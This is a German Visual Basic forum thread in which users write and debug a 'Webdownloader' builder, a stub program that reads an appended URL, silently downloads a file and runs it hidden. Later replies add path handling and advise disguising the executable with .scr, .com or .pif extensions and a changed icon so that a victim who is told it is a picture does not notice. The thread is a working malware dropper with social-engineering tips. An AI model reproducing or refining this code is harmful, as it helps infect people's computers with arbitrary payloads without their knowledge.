Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208

Webdownloader Builder
Verfasst am: 26.10.2007, 12:46

Also da ich das mit dem Builder toll finde wollte ich gleich ma einen Webdownloader dazu machen

Aber i-wie kommen dort noch errors

Eigentlich nur einer (leider weis ich nicht wo der fehler ist)

Server:
[vb:1:ab310278b7]Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Dim options As String * 100
Dim CMD() As String
Dim link As String
Dim pfad As String
Open (App.Path + "\" + App.EXEName + ".exe") For Binary As #1
Get #1, LOF(1) - 99, options
Close #1
CMD() = Split(options, "#")
link = CMD(0)
pfad = CMD(1)

iReturn = URLDownloadToFile(0, link, pfad, 0, 0)
Shell pfad, vbHide

End
End Sub[/vb:1:ab310278b7]

Builder:
[vb:1:ab310278b7]Private Sub build(pfad As String)
On Error GoTo err
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM")
Open pfad For Binary As #1
Put #1, , buffer()
Close #1
Dim options As String * 100
options = Text1.Text + "#" + Text2.Text + "#"

Open pfad For Binary As #1
Put #1, LOF(1) + 1, options
Close #1

Call MsgBox("Die datei wurde erstellt !", vbInformation, "Message")
Exit Sub

err:
Call MsgBox("Fehler beim erstellen !", vbInformation, "Message")

End Sub

Private Sub Command1_Click()
build ("Downloader.exe")
Unload Me
End Sub[/vb:1:ab310278b7]
 
sp1nh3ad_
Newbie
Newbie

Anmeldedatum: 14.09.2007
Beiträge: 18


Verfasst am: 26.10.2007, 14:19

Kleiner Nachmacher, hab auch grade erst nen Webdownloader gemacht. Laughing Very Happy
( Naja, is ja eigentlich nöx besonderes xD )

*Edit: Dann hab ich KP warum es nicht geht..


Zuletzt bearbeitet von sp1nh3ad_ am 26.10.2007, 15:48, insgesamt einmal bearbeitet
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 26.10.2007, 15:17

"+", "&" oder "AND" sind genau das selbe -.-

Aber ich kann das ja mal so probieren

edit:

also das runterladen geht noch aber das öffnen macht der nicht mehr
 
The-God-of-all_
Poster
Poster

Anmeldedatum: 20.05.2007
Beiträge: 170
Wohnort: App.Path


Verfasst am: 26.10.2007, 17:30

big earl hat Folgendes geschrieben:
also das runterladen geht noch aber das öffnen macht der nicht mehr


Dann liegtes wahrscheinlich daran, dass das Runter laden von Dateien eine Weile Dauert, der Code aber nicht darauf wartet das die Datei fertig runter geladen ist.
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 26.10.2007, 18:00

Also hier das selbe mit Sleep

[vb:1:5cfa3ec53c]Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
Dim options As String * 100
Dim CMD() As String
Dim link As String
Dim pfad As String
Open (App.Path & "\" + App.EXEName & ".exe") For Binary As #1
Get #1, LOF(1) - 99, options
Close #1
CMD() = Split(options, "#")
link = CMD(0)
pfad = CMD(1)

Sleep 5000
iReturn = URLDownloadToFile(0, link, pfad, 0, 0)
Shell pfad, vbHide

End
End Sub
[/vb:1:5cfa3ec53c]

Doch der macht immernoch nen error
 
r4z3r_
« Webmaster »<b><font color=red>« Webmaster »</fo



Anmeldedatum: 06.02.2007
Beiträge: 252


Verfasst am: 27.10.2007, 09:04

es heißt
[vb:1:cb8b0721a8]Private Declare Function [/vb:1:cb8b0721a8]
und nicht
[vb:1:cb8b0721a8]Private Declare Sub[/vb:1:cb8b0721a8]
 
The-God-of-all_
Poster
Poster

Anmeldedatum: 20.05.2007
Beiträge: 170
Wohnort: App.Path


Verfasst am: 27.10.2007, 12:59

Die Deklaration von Sleep ist in Ordnung weil Sleep hat ja keinen Rückgabe wert. Du machst aber einen anderen entscheidenden Fehler:
Das Programm lädt als erstes die Infos. Als nächstes wartet das Programm 5 Sekunden. Danach lädt das Programm die Datei runter. Dann startet das Programm die Datei ohne zu warten.
Pfad Variablen wären noch gut weil was machst du wenn der Benutzer kein Laufwerk C hat sondern Windows auf Laufwerk D Installiert hat?


Zuletzt bearbeitet von The-God-of-all_ am 27.10.2007, 13:12, insgesamt einmal bearbeitet
 
r4z3r_
« Webmaster »<b><font color=red>« Webmaster »</fo



Anmeldedatum: 06.02.2007
Beiträge: 252


Verfasst am: 27.10.2007, 13:09

Jo hast recht, es geht auch mit Sub. Naja man lernt nie aus Wink
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 27.10.2007, 16:27

Lol jetzt sagt der mir das die Datei nicht gefunden worden ist

Und als ich ne test form mit diesem code gemacht habe

[vb:1:fbf09bfa42]Private Sub Command1_Click()
Shell ("C:\new.swf")

End Sub
[/vb:1:fbf09bfa42]

Kam error Argument nicht optimal

weis einer was das soll ? -.-

oder spinnt hier mein Shell befehl ?
 
RUNY0N_
Tutorial Leser
Tutorial Leser



Anmeldedatum: 19.05.2007
Beiträge: 53


Verfasst am: 27.10.2007, 23:11

Das liegt daran das du mit der Shell funktion nur ausführbare dateien starten kannst wie zum Beispiel exe oder bat dateien, für andere dateien brauchst du die ShellExecute API
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 28.10.2007, 02:31

Also thx @ all in diesem thread das ihr mit geholfen habt ^^

und ich rate allen mal sich das TUT von ZIG anzugucken

es ist es wert ^^
 
DFJ_
Poster
Poster

Anmeldedatum: 15.10.2007
Beiträge: 156


Verfasst am: 28.10.2007, 16:49

The-God-of-all hat Folgendes geschrieben:
Die Deklaration von Sleep ist in Ordnung weil Sleep hat ja keinen Rückgabe wert. Du machst aber einen anderen entscheidenden Fehler:
Das Programm lädt als erstes die Infos. Als nächstes wartet das Programm 5 Sekunden. Danach lädt das Programm die Datei runter. Dann startet das Programm die Datei ohne zu warten.
Pfad Variablen wären noch gut weil was machst du wenn der Benutzer kein Laufwerk C hat sondern Windows auf Laufwerk D Installiert hat?



mh pfad variable , könnte man mit z.b den pw generator,

aber das wäre eigendlich nur ein zufalls pfad , besser wäre es windows zu suchen und den speichert ort festzu stellen , die frage ist wie geht das XD
Spam bot
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 28.10.2007, 17:20

hiermit

[vb:1:413cc65de4] Private Declare Function GetWindowsDirectory Lib "kernel32" _
Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _
ByVal nSize As Long) As Long[/vb:1:413cc65de4]

und um den pfad anzuzeigen nimmt man

[vb:1:413cc65de4]WinDir()[/vb:1:413cc65de4]
 
The-God-of-all_
Poster
Poster

Anmeldedatum: 20.05.2007
Beiträge: 170
Wohnort: App.Path


Verfasst am: 28.10.2007, 17:51

das geht noch einfacher: es gibt die Variable Environ, dort sind einige Dinge gespeichert, unter anderem einige Pfade. ich würde die Variablen mit der Funktion Replace ersetzen. Ich habe mal ein Beispiel Code geschrieben, der muss direkt unter pfad = CMD(1) eingefügt werden dann werden einige Variablen automatisch ersetzt:

[vb:1:8d50a74525]pfad = Replace(pfad, "%apppath%", App.Path)
pfad = Replace(pfad, "%tempdir%", Environ("TEMP"))
pfad = Replace(pfad, "%windir%", Environ("windir"))
pfad = Replace(pfad, "%appData%", Environ("APPDATA"))
pfad = Replace(pfad, "%systemdrive%", Environ("SystemDrive"))
pfad = Replace(pfad, "%programfiles%", Environ("ProgramFiles"))
pfad = Replace(pfad, "%alluserprofile%", Environ("ALLUSERPROFILE"))
pfad = Replace(pfad, "%userprofile%", Environ("USERPROFILE"))[/vb:1:8d50a74525]

Was ich an dem Webdownloader auch nicht gut finde ist das man die Datei Endung nicht ändern kann. das könnte man zum Beispiel so lösen:

[vb:1:8d50a74525]MyPath = App.Path & "\" & App.EXEName

If isFile(MyPath & ".exe") Then
MyPath = MyPath & ".exe"
ElseIf isFile(MyPath & ".scr") Then
MyPath = MyPath & ".scr"
ElseIf isFile(MyPath & ".com") Then
MyPath = MyPath & ".com"
ElseIf isFile(MyPath & ".pif") Then
MyPath = MyPath & ".pif"
End If

Open MyPath For Binary As #1[/vb:1:8d50a74525]

Der Code braucht die Funktion isFile:

[vb:1:8d50a74525]Private Function isFile(Path As String) As Boolean
Const NotFile = vbDirectory Or vbVolume

On Error Resume Next
isFile = (GetAttr(Path) And NotFile) = 0
On Error GoTo 0
End Function[/vb:1:8d50a74525]
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 28.10.2007, 18:06

Also das mit der endung geht

Was mir auch aufgefallen ist, ist das man unter dem Speicherpfad z.B new.jpg schreiben kann und der trotzdem die anwendung startet
 
The-God-of-all_
Poster
Poster

Anmeldedatum: 20.05.2007
Beiträge: 170
Wohnort: App.Path


Verfasst am: 28.10.2007, 18:34

Ich meinte mit der Endung eigentlich die Endung von der erstellten Datei weil wenn ich eine Datei Downloade/ Kriege und mir gesagt wird das sei ein Bild und die Datei hat die Endung .exe dann merke ich das sofort und ich denke mal das Merkt jeder Sofort. Es gibt aber andere Datei Endungen die auch ausgeführt werden. Die Datei Endung .scr steht für Bildschirmschoner (Bildschirmschoner sind auch ausführbare Dateien!), die Endung .com steht für eine Dos Anwendung und hat den Nachteil das die Datei immer das Dos Symbol hat und die ERndung .pif hat auch was mit Dos zu tun (hat auch das Dos Symbol) aber den Vorteil das die Datei Endung nicht angezeigt wird. Deshalb würde ich in die Stub Datei vom Webdownloader eine Funktion einbauen das er überprüft welche Endung er hat.

Natürlich wird die .jpg Datei auch ausgeführt weil der Shell befehl die Datei einfach ausführt ohne zu prüfen ob das überhaupt eine Ausführbare Datei ist. Wenn du willst das auch Dateien geöffnet werden können dann musst du Shell Execute statt Execute nehmen.
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 29.10.2007, 04:42


Also an der endung werd ich ma arbeiten

an dem Icon wollte ich sowieso was machen
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: datei, urldownloadtofile, webdownloader, link

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge Frage über mein game 238 25.09.2011, 17:33
Keine neuen Beiträge Wie bringe ich mein Programm dazu, auf Return zu reagieren? 620 24.12.2009, 15:42
Keine neuen Beiträge Wie erstellt man eine ProgressBar 3431 12.05.2008, 10:21
Keine neuen Beiträge ColumnHeaders werden nicht erstellt 744 08.03.2008, 17:48
Keine neuen Beiträge Wie erstellt man ein PW checker? 589 09.02.2008, 12:57
 


[ Time: 0.1427s ][ Queries: 128 (0.0796s) ][ GZIP on - Debug on ]